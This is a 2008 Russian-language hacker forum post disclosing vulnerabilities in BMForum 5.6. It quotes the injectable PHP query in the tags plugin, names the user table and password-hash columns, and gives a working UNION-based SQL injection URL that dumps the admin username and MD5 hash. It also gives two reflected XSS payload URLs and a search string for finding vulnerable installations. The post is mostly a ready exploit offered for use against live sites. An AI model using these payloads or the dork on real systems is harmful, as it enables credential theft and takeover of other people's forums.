Форумы BMForum 5.6 SQL Injection

Discussion in 'Уязвимости CMS/форумов' started by ~!DoK_tOR!~, 1 Oct 2008.

  1. ~!DoK_tOR!~

    ~!DoK_tOR!~ Banned

    Joined:
    10 Nov 2006
    Messages:
    673
    Likes Received:
    357
    Reputations:
    44
    Офф.сайт: www.bmforum.com
    Префикс таблиц бд: bmb_
    Табличка: bmb_userlist
    Клонки: username,pwd
    Алгоритм шифрования: md5($pass)
    Админка: http://localhost/admin.php

    [SQL Injection]

    Бага в плагине тегов.

    Сценарий /plugins/tags.php

    уязвимый код:

    PHP:
    $query "SELECT * FROM {$database_up}tags WHERE tagname='$tagname' ORDER BY 'tagid' DESC LIMIT 1";
    Из кода видно то что переменная $tagname передаётся без фильтрации на основе этого мы можем провести SQL-Иньекцию.

    Условие: magic_quotes_gpc = Off

    Эксплойт:

    Code:
    http://localhost/[B][COLOR=DarkOrange][installdir][/COLOR][/B]/plugins.php?p=tags&forumid=0&tagname=-1'+union+select+1,concat_ws(0x3a,username,pwd),3,4+from+bmb_userlist+where+userid=1/*
    [XSS Passive]

    http://localhost/[installdir]/index.php?cateid='><script%20%0a%0d>alert(/xss/)%3B</script>
    http://localhost/[installdir]/post.php?forumid=2&type="><script%20%0a%0d>alert(/xss/)%3B</script>

    Поиск:

    Powered by BMForum 2007 5.6

    (c) ~!Dok_tOR!~